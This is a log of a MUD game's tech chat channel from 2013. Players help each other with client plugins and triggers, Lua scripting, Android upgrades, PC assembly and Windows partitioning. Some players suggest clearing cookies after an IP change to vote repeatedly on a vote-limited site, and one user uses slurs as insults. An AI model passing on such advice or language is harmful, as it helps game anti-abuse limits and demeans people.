T3/r7/2013-10-29.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Undead Anaristos Tech: this could be pay dirt: http://oss.digirati.com.br/luabignum/bn/index.htm
T3/r7/2013-10-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, just saw that, checking it out right now, in fact.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, sweet! It works. :D
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: I think.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: We'll find out in a few.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. Apparently having 8^1235 is too big a number for Lua to calculate. :\
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Ashtray Tech: this is getting frustrating big time.  what ever I type is giving [c[c[c[ in front of everything. not once but like after 5 times I typed the same thing over. 
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Shinwoo Tech: where do you put plugins in muschcient, to get them to work properly?
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Pedsirs Tech: mush/worlds/plugins
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Pedsirs Tech: then open mush press ctrl+shift+p then enable them
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Shinwoo Tech: thanks makes sense
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Ayasinda Tech: got to add them before enabeling them iirc
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Pedsirs Tech: sorry yes, add them. sorry i forgot about that part
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Pedsirs Tech: when you click add it opens the relivant folder anyways, so find what you downloaded and want to use and add it
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tech: although if a plugin maker has installation instructions on their site, use those instructions...for example, Bast's stuff won't work if you put the Bast plugins you want into the plugins folder
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Bode Tech: where is the best place get get the mush client?
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Piffaron Tech: mosifoca
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tech: Piffaron snickers softly.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Piffaron Tech: on the Aard website you can get an Aard specific mush
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: help mushclient
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: So, BigNum/BigRat works well for what I'm trying to do as far as Lua precision goes. I'm so glad that both Anaristos and I came across it. :D
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: any suggestions on getting started with lua?
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Search for lua-users.org
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: They have plenty of sample scripts to help you get started.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: The only thing I don't want to try to do is binding with C.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Though I'm sure it will help out a LOT... but without having to, I've managed to write plenty of scripts in Lua, such as my Melvin scripts.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: In fact, my entire tracker script is now based on Lua.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: {This Year} Levels: 788 Pups: 3 Exp: 5,674,343 (2,337,441 bonus) Kills: 25,410 Gold: 147,341,911 Trains: 3220 (1472 bonus) Pracs: 8941 Quests: 1701 Campaigns: 100 (50449 qps) Trivia: 113 Bonus Stats: S{27} I{56} W{51} D{27} C{53} L{37}
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: thats cool
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: But seriously, there are a LOT of resources out there to use.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: its getting over starting over on a new language :P
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: not motivated :P
T3/r7/2013-10-30.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: soon as you start that'll change fast, though :p
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: i know, it always does... 
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: What languages are you familiar with?
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Lua has a lot of similarities with some languages, and really, it's not too difficult to get into.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: perl, bash, c++ java, wix, a handful of other crap...
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Mr. Dash Tech: shouldn't be hard at all then
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Book of Etzli Tech: for i = 1,100 do print(i) end -- Prints all numbers 1 through 100. for i = 1,100 do if i%2 == 0 then print(i) end end -- Prints all even numbers from 1 to 100.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: just need to walk through some examples, should be ok. its not radicly new....
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: its just too easy to level and quest instead :P
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: does TMS use cookies or ip to track when you can vote again? i only ask because i change ips like 3-4 times a day
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: you could test :P
T3/r7/2013-10-30.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: idk, but if you clear cookies or use something like chrome incognito, once your IP changes you're golden
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Tormat Tech: and clear cookies as well
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Velian Tech: Cmud : Is there any way when i send a group of commands to the mud through an alias, if the last command is another alias I want to prevent it from parsing until the commands before it have executed. Is that possible without just having an arbitrary wait time?
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yes, if you use the blackface routine
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Velian Tech: if that involves lighting you on fire, i'm game.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Alcor Tech: I have a trigger in mush that is supposed to play a sound and send a command. The command works, but the sound doesn't play. I have enable trigger sounds active and when clicking on test I get a sound. Is there a command or something I have to insert to play the sound?
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Velian Tech: cmud - say i have a DB variable with 30 "keys"  is there a quick and easy way to clear all of the value's associated with them and leave them blank to be filled again later?  I don't want to delete out the keys, i want the 30 keys to never change, only be modified.
T3/r7/2013-10-30.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: #loopdb @var {#addkey var %key ""}
T3/r7/2013-10-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: dang you myrkul beating me to it!
T3/r7/2013-10-30.txt.gz:{chan ch=tech}Velian Tech: ok, wasn't sure if there was any command specific for it. thanks Myrk :)
T3/r7/2013-10-30.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: np :)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Velian Tech: Cmud :one more question, say i have two variables "aa" and "bb", "bb" is a basic variable with one number in it, "aa" is the db i referred to earlier where the keys are let's say {1,30}.  If i want to send the value of the the key that is related to bb, how would i do that. so if bb=5 then the command would send @aa.5
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Velian Tech: i know it's a simple fix that i'm just not seeing, or i've forgotten.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: %db(@aa, @bb)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can only use the dot to access db keys with literal strings
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Velian Tech: excellent, thank you again Myrkul :)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: np :)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: hey,any able to tell me how much data i'd use roughly to upgrade my android version?(I'm on gingerbread)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: anyone*
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Hmm, varies a little, but I'd personally plan on a couple hundred MB.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: I assume you are planning to update to 4.3? And are you sure your phone is capable of it?
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Think a copy of CyanogenMod for my phone is about 100MB in a tarball.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Thunderax Tech: think some of the cyanogenmod releases were 2-300 mb or so, so prolly somewhere about there
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: I was under the impression that the compatible devices got the update pushed to them from the carrier eventually
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tech: Velian rapidly nods twice at Ixle, in complete agreement.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: I have no idea,never thought of it before
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Well, many manufacturers are really back about it.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Normally if there is an 'official' release for your phone, yeah, it's pushed.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: Nightbird, you might want to do a bit more research
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: If you want to try forcing 4.3 on your device your best bet would be a custom ROM like Cyanogenmod
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: If there isn't a vendor blessed version and you choose to do an alternative release, then yeah, you can download it.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: I turned off automatic updates
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: What device are we talking about then?
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Guess it depends on whether you like the goodies your carrier includes with the phone or not.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: Who likes those Robbo? :p
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: Samsung galaxy S5300 pocket
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Well, in the case of some of the newer phones, there's actually some decent toys (like the GS 4)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'm not saying I'd do that, I've been running CM for almost 3 years :P
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: CM never got the right combo of 3G + camera working for my Droid 3. It was always either one or the other.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks for the help guys
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: Nightbird, it's not looking good on upgrade options for that device
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: where are you looking?
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: xda-developers.com and forum.cyanogenmod.com
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: ok thanks again,i'll go check those sites
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: That's the plus and minus of Android. It will run on a freaking toaster but you can't count on future updates being backwards compatible.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: lol
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: If you want assured updates you should buy Nexus devices. Google has some control over that hardware.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: cool
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: There's a new Nexus phone coming out called the Nexus 5.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Day the Nightbird Tech: I'll look out for it
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: Verizon wrote on its application that the new device would be able to âestablish a local, wireless networkâ and feature âtransmission of voice, data, image, and video.â How innovative of you Verizo..
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: That's from a report about the new tablet they are going to release.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ixle Tech: http://goo.gl/i7Zjyo
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Alcor Tech: I've got a trigger in mush that is supposed to play a sound and send a command. THe command works, but the sound doesn't play. Is there some special sommand I have to enter for it to play or something? I have Trigger Sounds enabled and when I press 'Test' the sound plays as it's supposed to :/
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I was wondering if someone could help me set up a trigger that will play an audio file when the game informs me that I am ready for a quest?
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tormat Tech: depends, what audio file?
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ayasinda Tech: and what client
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: just a recording I made a long time ago, and my client is the aard mushclient
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ayasinda Tech: that's doable
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I actually think that you helped me set it up once before, Aya.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tormat Tech: nope, wrong answer, it should of been star wars empire strikes back, or no other!
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ayasinda Tech: that so? ok well let's do it again then
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: thats funny tormat, I am watching Attack of the Clones. You must be close to psychic :p
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tormat Tech: thats what they tell me
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Ayasinda Tech: on the right side make sure 'enabled' and 'regular expression' are checked
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Taokan Tech: so what should i make my homepage when igoogle shuts down?
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Isafdar Tech: heh, i have the same problem 
T3/r7/2013-10-31.txt.gz:{chan ch=tech}ShadowWalker Tech: at level 1 mobs easy to kill :p so i noexp and went and clear easy areas
T3/r7/2013-10-31.txt.gz:{chan ch=tech}ShadowWalker Tech: misschan
T3/r7/2013-10-31.txt.gz:{chan ch=tech}ShadowWalker Tech: i have helm and aura so far :)
T3/r7/2013-10-31.txt.gz:{chan ch=tech}ShadowWalker Tech: mis
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tech: Elysian peers intently at ShadowWalker.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Navi Tech: So, I just finished putting together a compute,r making sure everything is plug in right, and it's not working.. It keeps restarting itself every 5-10 seconds, and monitor isn't even getting a signal so I can't see if anything's displaying on screen.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Insane Xantcha Tech: 5-10 seconds? you're likely not getting past the BIOS then... you may have RAM unseated or a processor issue... tehre are a multitude of potential problems in a newly-assembled PC
T3/r7/2013-10-31.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: check if you didn't forget a screwdriver on the mobo. thats all i can say
T3/r7/2013-10-31.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: whats the webpage that you can look up the prices items have gotten in auction and the avg price. player created.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tigernuts Tech: google probably knows it
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Tigernuts Tech: failing that, the nsa
T3/r7/2013-10-31.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: tried.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: both.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Martini & Tyebald Tech: check with edward snowden, then.
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Mohan Tech: to create one eqset, what I need to do first?, I do not understand how create the eqset name and do it work properly
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It would help to know what plugin you are talking about - aardwolf and the aardclient have nothing called 'eqset'
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Mohan Tech: on bast pluguins
T3/r7/2013-10-31.txt.gz:{chan ch=tech}Mohan Tech: https://code.google.com/p/bastmush/wiki/eqSets
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Can safely say I'm not going to order parts from NCIX again.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}(BANNED) Panzer Tech: my Win7 laptop is connected by ethernet cable to the same router this PC is connected to. my laptop says "unidentified network, no internet access". does anyone know why this might be?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}(BANNED) Panzer Tech: both of them have worked flawlessly up to now & nothing has changed to my knowledge
T3/r7/2013-11-01.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It's a not very useful suggestion, but for connection issues I've found it often works, have you tried restarting or at least logging on/off.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}(BANNED) Panzer Tech: doing that now, thanks. and googling too
T3/r7/2013-11-01.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: Mush: mapper help> portallevel help says: Do not manually account for tiers . does it mean the portals dont adjust the level automatically or "don't you do it yourself manually"
T3/r7/2013-11-01.txt.gz:{chan ch=tech}(BANNED) Panzer Tech: no joy ...:(
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: reseat your cord
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: flip it around
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: replace it
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: all that good stuff
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tech: (BANNED) Panzer agrees!
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: try a different port on the router
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: unplug the computer that DOES work and use that cord and that slot on the router
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Mohan Tech: anyone here with good experience to use Bast plugins that help me with eqsets one?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}The River Styx Tech: Hwuaijijal, that means set your actual level, not your level plus tier bonus
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Mohan Tech: I am trying to do eqset, but I do not know how to start creating eqset name, get from some bag and all
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Aduin Tech: Anyone else have bast's plugins crashing on them (uptodate). First time something about equipment, and now bsst plugin asked to reload xbroadcast_spellkills. (this helped)
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Ayasinda Tech: it happens to me on a somewhat regular basis. Restarting Mush usually helps.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Aduin Tech: That's my experience too, and restarting or knowing the exact plugin thats the cause and reloading seems to help.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Trachx Tech: I think usually you have quite verbose error message
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Aduin Tech: yeah this time the bast script pointed to the correct script, it didnt when my inventory crashed. Oh well it only seems to happen when I've let the client go for a long while.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaxz Tech: MUSHClient doesn't seem to have a terribly high tolerance for memory leaks.  I have to restart my client or reload plugins at least once a day or more
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Ontuct Tech: oh you said handsome devil in the aard hotel, I could have sworn it would be me.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Ontuct Tech: mis
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Alright, so I'm trying to do windows install, manually doing partitions. First time I ran the installer it only made 2 partitions, primary and reserved. Installer failed so I'm trying again and now it's wanting to make 4. Any ideas why?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: because it's already partitioned successfully and you don't need to make more (unless you want to)
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Except I deleted the partitions and cleaned the drive.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Obviously not, if it's still seeing the ones it made.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: It's not. It's making 4.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: THe first time it only made, and displayed 2.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: What installer are you using?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: The one that comes on the windows disk.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: When it asks you to partition, what are you telling it?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: I'm clicking on new, allocating the whole drive, and hitting apply. It warns that it might create addition partitions, I hit okay. The *FIRST* time I did this it only made 2, System Reserved and  Primary. Now I'm trying to again, and it's making 4 - Recovery, System, MSR, and Primary. 
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Between install attempts, I ran Diskpart from console and cleaned the drive.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: that's why it's doing it then - you deleted the base partitions on the drive when you cleaned it
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Except it was a clean drive before the first time.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: the other 2 were already there the 1st time, and you added 2 more.  Now it needs to create all 4.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: They were not there.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: After the first time there was exactly 2 partitions.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Then maybe that's why the original install failed.  MSR and recovery partitions are automatic on a windows install.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Well why would it be different between installs? It's not even the same names now.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Just because you couldn't see them doesn't mean they weren't there.  The installer will create the partitions it needs.  At this point, there's nothing there anyway, so it's not going to hurt anything to let it create.  I'm not sure what you're panicking about.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Okay, did I not mention that I cleaned the drive before the first attempt as well?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Even a brand new HDD comes with two small paritions already there, usually only a couple of backup/recovery partitions of a couple hundred MG's.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: No, you just said it was a clean drive, I was assuming "new".
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: It is new, but I ran clean from diskpart before installing. Apparently it must not have cleaned 2 other 2 drives then?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Either you did something different in the two cleanings, the installer failed the first time (which we already know) and needed something else, and it's operating properly this time, or it's failing both times, and you have a faulty install disk.  Either way, you're not going to know unless you tell it to proceed.  Extra partitions aren't the end of the world - you can always remove them later if you find you don't need them.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I've done thousands of paritions and installs/reinstalls, and I've never had exactly the same partitions every time *shrug*  It's just a way for the installer to tell the disk where it wants stuff placed - I think you're stressing over something that's really insignificant in what you're trying to do.  As long as it's reading the size of the disk properly, and putting things where they need to go in relation to one another, you should be fine. :)
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: Hm, alright. I'm guessing clean couldn't see them the first time or something. Alright, well thanks for the info about the 2 extra partitions usuall being there regardless
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: That's possible.  You're welcome, good luck. :)
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Navi Tech: And install is working this time too. :D
T3/r7/2013-11-01.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: anyone know a free spreadsheet program where i can name the columns (A, B, C, etc. to custom names?)
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: pretty much any
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: openoffice.org
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Insane Xantcha Tech: can
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Insane Xantcha Tech: can't use Google docs?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: google docs sucks
T3/r7/2013-11-01.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: im on google docs now, (drive) cant figure out how
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: Depends on what you mean by "naming" columns.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: If you mean in terms of saying "Column Monkeys and Column Apples", then not much.  But by headers, you can easily manage that in any excel program
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis nods at Xaeris.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: at least with google docs you don't have to worry about disseminating it, they'll happily scrape any usable data off it for you and sell it to their corporate parties and save you the hassle of having to have any share of the proceeds!
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: Glad to know you read the EULA.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tech: Tigernuts bows before Xaeris.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: then if you don't like gdoc, go with openoffice.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: OR, stop being a paranoid conspiracy nut?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Zetkax Tech: libreoffice!
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: i'd suggest openoffice, pretty good
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: you probably ought to retract that, xaeris
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Notwalking Tech: tossup between libre and openoffice, google offers nice services, but you pay in privacy
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: We call them "theorists" now, Xaeris.  Much more PC. :P
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: it's not a theory when it's proven
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tano Tech: Google doesn't really sell user data. NSA spying might be a concern, though.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: I didn't know that the plural of anecdote was proof/data.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: of course it sells user data
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tano Tech: Are you thinking of a specific case?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: it doesn't necessarily sell user-identifiable data, but it sells user data
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Xaeris Tech: everyone sells your data.  Welcome to the 21st century
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tano Tech: I'll reiterate that: Specific case?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: OMG unplug your machines, someone's watching you!!11!!
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis rolls her eyes, disgusted.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tech: Tigernuts pats Rikitiki Takihisis on her head.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Zetkax Tech: is there a wish to stop that taki?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Insane Xantcha Tech: this is starting to roam from technical discussion to debate
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: then your original retort should be "use google docs if the privacy issues don't bother you"
T3/r7/2013-11-01.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Replacing A, B, C, with things like name, value, etc..
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: which would be accurate, not defamatory, nor retarded
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I was informed a couple weeks ago that tech does not have a channel-specific topic restriction, Xantcha, the day they were discussing the build of different vehicle engines.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Insane Xantcha Tech: perhaps not specifically, but it's still nice to have tinfoil-hat debates on the debate channel :P
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: As a former Imm, I disagreed, and even quoted the helpfile, but I got shot down with the proverbial K-cannon.
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tigernuts Tech: just use microsoft works, everything else is gay
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Insane Xantcha Tech: Oxymoron
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis nods at Insane Xantcha and says, "I concur." Why didn't you?!
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Mohan Tech: which one is the command to see the id in the eq worn?
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Jhav Tech: You mean all of them at once?  eqdata
T3/r7/2013-11-01.txt.gz:{chan ch=tech}Mohan Tech: thanks jhav
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Isafdar Tech: is it possible to color codes in mush client
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Isafdar Tech: copy*
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Six-String Strazor Tech: Yes. it Is.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Brun Tech: ctrl-d
T3/r7/2013-11-02.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: ^
T3/r7/2013-11-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i think you hit like shift+c or something
